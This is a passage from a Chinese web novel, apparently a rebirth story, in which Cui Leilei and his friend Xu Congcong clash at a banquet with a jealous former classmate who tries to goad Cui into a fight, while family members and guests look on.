甚至这群老师还一起睁眼说瞎话的,在评选国家台国家新闻栏目实习名额时,还提议民主评选。明摆了就是给崔磊磊开后门,其他几个窝囊废被这么一个靠脸的刷下去,竟然也不声不响同意了。唯有他积极履行了一个公民应尽的义务,努力抗议。
可都被国家台退货的窝囊废,老师甚至还偏心眼,让崔磊磊主持整个燕城大学的毕业晚会。
毕业晚会,多么隆重的场合,竟然让崔磊磊这个不学无术的人进行主持。校长甚至还在回访信箱里回复民主选择,学生喜欢;崔磊磊主持风格也轻松愉快,能减缓毕业分离焦虑。
冠冕堂皇的话说了一堆,原因只因为崔磊磊好看,就连招生宣传视频里也有崔磊磊。
呵呵。
越想便越憎恨社会不公,但徐人杰面上却不显,甚至还笑嘻嘻的,一脸哥两好的看向崔磊磊,哟了一声:“被我说中后生气了?其实嘛,学校就是个小社会,你有几斤几两谁不清楚?能上位靠什么大家一清二楚。”
瞥了眼早已面色铁青的燕大三本城市学院的校草——富二代许聪聪,徐人杰故意拉长了音调。
尖锐的声音差点刺破耳膜。
许聪聪气得直接一脚对准徐人杰的肚子踹了过去,脱口而出盛气凌人的话语:“信不信我让你燕城在混不下去?”
原本火冒三丈的崔磊磊听到耳畔传来熟悉又陌生的威胁,面色骤然一青,忍不住回想起剧情。他和许聪聪前期仗着家世有多嚣张,后期就被虐的有多凄惨,猪狗不如,一点尊严都没有。
被吓得打了个寒颤,崔磊磊后怕无比,急急忙忙抬手揽住暴跳如雷,习惯性用武力解决问题的许聪聪,语重心长:“想想咱们的未来。明明咱们占理的事情,没必要变成我们理亏。我们……”
脑海浮现出万千的计策,最终崔磊磊还是选择了最朗朗上口也是记忆深刻的一条规则:“有困难咱们打110找警察叔叔!没必要毕业前背一个处分。聪聪,你还是个学法的崽啊!”
听得高呼中甚至带着些惶恐的声音,许聪聪侧眸看向极力劝阻的崔磊磊,就见人眼底都带着些惊恐,仿若在害怕什么事情。
见状,许聪聪想起自己听到《制霸娱乐圈》的小说剧情,当即明白崔磊磊在害怕破产的事情。
撞见发小真情实意的担忧,许聪聪拼命来回反复吐息,磨牙道:“是好兄弟就不许提法律,那是死老头篡改我志愿,逼我选的!”
“就因为你这暴脾气,许伯伯才想要你学法,想要你遵纪守法啊。”崔磊磊闻言还毫不客气往许聪聪身上扎了一刀,告诫道:“主角,咱们冷静,不要大鹏展翅打打打了。”
最后一句话,崔磊磊说得极其郑重,还死死盯着许聪聪的眼睛,试图让人能够捕捉到自己眼里的肃穆。
想当年许聪聪中二,跟他凑了个兄弟诨号——金翅大鹏鸟。但这个看起来沙雕的诨号,从小说剧情来看确是极具深意的,后期更是直接点破理由——【人如其名,许聪聪就如其外号所叫的那般,性情像极了西游记里的金翅大鹏鸟,凶暴残忍,出尔反尔,不择手段,无知无畏,最终害人害己。】
但不管怎么说,孔雀比金翅大鹏鸟大,是哥哥,是老大!
许·逆袭流大男主·聪聪毫不客气反盯回去。大男主,懂吗?
两人视线在半空中相撞,谁也不让谁。
===========
与此同时,徐人杰瞧着旁若无人,深情款款对峙的两人,视线没忍住往院内又看了一眼——都耳聋吗?怎么还没有听到动静出来?来个证人啊!
他就得刺激崔磊磊暴怒,最好动手打人。到时候就算学校想要推荐崔磊磊来燕城电视台,恐怕台里的人员也会拒绝。
一点也没觉得自己言行想法有什么不对,徐人杰内心焦虑不已,逼着自己抑扬顿挫的开口,试图声音能够传进院内:“磊磊倒是出社会后长进了不少嘛。你是许聪聪吧?三本城院的风云人物,是吧?我也听说过你。”
刻意咬重了三本城院一词,徐人杰一副大大咧咧的模样开口:“我就是心直口快了些,看在同学的份上,想劝劝磊磊。毕竟出了社会后,长的好看呐也没什么用。终究是靠实力的。”
比如他吧,所有的勤奋都会得到回报的。临近毕业爸爸费尽心机联系上了一位远房表姐,大名鼎鼎的三金影后徐晓晓。
都不敢去回想自己知道这位表姐后,心情是如何的激动彭拜。
徐人杰手捏紧了自己的工作证。
徐晓晓拿着他的简历,轻轻松松就把他安排进了燕城电视台实习。甚至电视台知道他有靠山后,非但各种吹捧,还立马安排他来兰亭宴,这个据说是燕城顶级商圈公子哥的聚会。
展望着自己等会成功结交精英的美好画面,徐人杰眯着眼看向崔磊磊,压低了声音嘲讽道:“毕竟以、色、侍人的道理谁都懂。到时候这张脸被毁了,你还有什么玩意?一个gay而已还真以为自己很能耐了,连怀孕生子上位的机会都没有呢。”
说着,徐人杰谨慎的看着崔磊磊。
瞧着人还能隐忍怒火,他思忖一瞬,丢下一句让大名鼎鼎恋家暖男崔磊磊能够气愤的话语:“真不知道你父母生你有什么用。”
此言不亚于导、火、索,崔磊磊刹那间便觉得自己浑身理智都被炸个干干净净,灰飞烟灭。随之而来的便是种种剧情描写,种种因为他崔磊磊恶毒导致父母被骂的话语——
【若不是我家哥哥跟智障夫妇有血缘关系,我肯定咒他祖宗十八代。见过脑残的,没见过为了养子,直接如此无视自己优秀亲儿子的。
如此的评论数不胜数,甚至也有不在意血缘关系的粉丝,直接P着灵堂的照片,将官网的评论全都霸占住了。
唢呐一吹,全村上菜。不用谢,这样不带血的P图已经算客气了,某位不算个母亲的贱人赶紧升天吧!
升天吧,嘻嘻!
…………
崔母看着密密麻麻的照片,随手点开了一张。
就见是自己拿到商业杰出女性的照片被精心裁剪下来,辅之以白底黑框。原本精心打扮过的妆容,都被涂抹了诡异的大红。光看着便血淋漓的,仿若鬼片,让人不寒而栗。中间的奖杯甚至被P成了铁链,仿若古时犯错的囚犯一般,带着枷锁铁链。
整张照片面目全非,甚至看起来还有些渗人。
崔母吓得面色都白了一分。
哪怕摸爬滚打了一辈子,崔母终究是个仗着时代红利的商人而已。她能够看得懂账本,会从盗版转型原创设计,已经算上天的馈赠了。现如今跟不上互联网时代的发展,连请直播网红带货都要三思的人,都觉得网红low的人,自然不明白粉丝为了自己的爱豆会如何的疯狂。
更加不明白互联网是会留下痕迹的。
因此当崔磊磊的罪行暴露后,当崔母打压亲儿子的罪行暴露后,这些粉丝言语虽然疯狂了些,却也是对一个从农村出来的女人最强最狠的报复。
一个母亲竟然因为迷信就不喜亲儿子。
呵呵。
现如今自然也要因为这些照片,因为十八层地狱的照片,整日惶惶然。
曾经的荣光,将会是日后永远的噩梦!】
闪现出令他印象最深刻的一幕剧情——妈妈最引以为傲的商业杰出女性的荣耀被诋毁,照片被P图,崔磊磊眼底顷刻间燃烧着熊熊怒火。怒火旋即吞噬了浑身的理智,他想也没想,直接捏拳冲着徐人杰脸蛋挥了过去,愤怒强调:“敢说我爸妈?我爸妈生我是因为爱我!”
哪怕他没见过亲生父母,但是他崔磊磊可以肯定亲生父母也是爱他的。崔家爸爸妈妈也爱崔磊磊,超级爱!甚至上辈子那个脑残的渣爹也是以崔磊磊为傲的,因为崔磊磊是大明星摇钱树,能够赚钱!
上辈子崔磊磊缺爱,都能够让父母为傲。
这辈子绝对绝对,没让父母也不会让父母丢脸!
看着终于上钩的崔磊磊,徐人杰本窃喜的一笑,但转眸间撞见崔磊磊燃烧着火焰的眼神,吓得浑身一僵,脑中空白一瞬。
直愣愣的看着愈发逼近自己的拳头,带着凌厉的杀气,恍若开、膛、发、射的子、弹能够百分百让人一击毙命,徐人杰只觉得一股寒气从脚底心钻了出来。哪怕此刻是炎炎夏日,也觉得自己置身冰窟中,寒意能够从骨子里渗透出来。
看着连躲闪都没有的徐人杰,许聪聪倏忽间只觉得自己明悟了一个大道理——卖惨!
电光火石间,许聪聪觉得自己点亮了“大男主”的光环,变得聪明机警起来。他忙不迭直接拦腰扣住愤怒的崔磊磊,反过来沉声质问:“你想毕业前背个处分吗?这种爱打小报告的人肯定会朝学校报告的。想想你为了论文付
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出的辛苦,想想叔叔阿姨的希冀,你考公考研都不能背处分的。”
崔磊磊的拳头硬生生僵在半空。他手背上青筋突起,无声诉说主人崔磊磊此刻的怒火。
许聪聪见状微不着痕的吁口气,积极毛遂自荐:“放心,我来揍!放着我来揍!我保证你在燕城看不见这王八蛋,否则老子不姓名许!”
“我来揍!”
听得耳畔响起一声高过一声,似响彻天地的保证,崔磊磊手死死掐进了掌心。历来乌黑纯粹的眸子此刻带着些阴沉,让人光看着便觉得有几分渗人。
与此同时,刚从主厅散场,约好一起去马场打锤丸的众人:“…………”
听得许聪聪撂狠话,有人下意识就脱口而出,讶然无比:“我靠,凤凰崽西皮当众打人,这场景都快四年没看见了吧?”
“得发生什么事情,能比当初石头被双双背叛还严重?”
“别提从前了,晦气不晦气?阿姨是没逮到磊磊吗?”
“赶紧给他们发个消息,阿姨来了,带着鸡毛掸子来了,他们马上就能乖巧。”
“…………”
听得身后响起富贵咸鱼团团结的声音,沈谦不动声色的打量着眼前兄友弟恭的一幕,漫不经心的问身旁的厉总:“凤凰崽西皮?燕城的公子哥好像挺会玩的。”
厉总闻言,示意自己的助理给崔宝诚通风报信,边斟酌的开口解释:“朋友嘛,志同相合就凑一起玩了。磊磊喜欢跳舞,当初反串跳过孔雀舞。于是就有人用孔雀小明皇戏谑了。聪聪嘛,感恩磊磊当初救了他一命,就学古时桃园三结义,成了好哥们,还凑了个兄弟外号,叫做金翅大鹏。”
“神话传奇里说凤凰育孔雀、大鹏。于是这兄弟名也就这么诞生了。”厉总想想宴会发生的场景,唯恐某些人是真吃飞醋了,于是着重介绍了一下兄弟名字的来源。
沈谦嗯了一声。
厉总仗着离得近,仔细打量了沈谦一眼,发现还是无法从人脸上分辨出心思,因此也就果断无比的放弃了。轻轻嗓子,他慢步走了过去,冷喝了一声:“你们在闹什么?”
捂着脸小心翼翼躲避的徐人杰听得声音,一抬眸看见乌压压的一群人朝他们走来,当即面色一喜。尤其是当他看见了开口质问是人乃是燕城龙头企业大名鼎鼎的厉总,徐人杰想也没想,立马抬手指着许聪聪和崔磊磊,开口道:“厉总,我没有胡闹啊,我……我只是看他们鬼鬼祟祟的,想要检查一下他们的工作牌,毕竟福寿堂是主办方特意给电视台安排休憩的地方。若是让不明人士混进去,岂不是我……我这个实习生的错?”
颤颤巍巍的说着,徐人杰面上还带着瑟缩,丝毫没有先前嚣张的气焰。
边说,他瞥了眼捏着拳头不语的崔磊磊,狠狠吁口气,继续委委屈屈的开口:“可……可谁知道他们就直接打我。”
说完,像是强忍不住悲恸,还哽咽的哭了起来。
见状,所有人愕然的看着崔磊磊和许聪聪。除了商圈和奢侈品购买圈外,咸鱼子弟的确不怎么有名,但问题是此刻对某些人员来说算工作场合吧?这……这工作人员竟然还有不认识主办方的?
崔磊磊迎着众人望过来的打量眼神,尤其是精英们的诧异,再一次在内心写检讨书。
缓缓放下拳头,崔磊磊丝毫不尴尬,轻描淡写的解释道:“这我大学同学,打着学霸的旗号没少干恶心的事情。对我这样文艺积极分子当然憎恨无比了。这不就仗着自己在燕城电视台工作讽刺上我了。”
闻言,众人皆懂了,意味深长哦了一声。
听得周遭响起带着些令人遐想的声音,沈谦面色骤然一沉,冷冷的开口:“崔磊磊,这个宴会你是主办方吧?一个表演嘉宾连主办方都不认识?你不觉得自己失职吗?”
被点名道姓的崔磊磊如遭雷劈。
其他人也侧目看向忽然发言的沈谦,目瞪口呆。
就在众人讶然时,崔宝诚收到提醒,打开截图看了眼被打的人的徐人杰,表情猛得一变,眉眼间都带着些怒火:“妈,您先给爸擦药水。这工作人员中来了个嫉妒磊磊的实习生,我先去看看。”
李桂花闻言一愣,然后面带无奈:“磊磊这混小子,让他自己上心点盯好各个环节。他肯定全吩咐其他人办了,自己只盯着玩具到场没。”
“磊磊这个叫善于用人。这找人唱堂会肯定是聪聪负责的啊。”崔父揉着腰,对崔宝诚道:“放心我就翻窗跌花坛上擦破点皮,没什么大事。你赶紧去解决掉,回来继续搞监控。”
听到这声催促,崔宝诚静静的看了眼监控屏幕——两人站在门口脑袋乱转,还继续“密谈”长达十分钟。
对此,他只能庆幸两位大少爷低调,在休息场合没安装太过高级的监控摄像头,只在太医院门口挂了一个。
他只要改变自家老爸进场的时间就好。
否则若是有懂唇语的,能够大概猜测出两人在交流什么。
否则的话,监控得物理性坏了。
叹口气,崔宝诚往外走,岂料就听得背后杀气腾腾的一声:“等等,老大难得看你这么生气,那个实习生是不是就是害咱们磊磊没法在国家台呆,雷打不动举报三个月的那个举报怪?最后害得磊磊实习报告只能敲咱们自家的那个王八羔子?”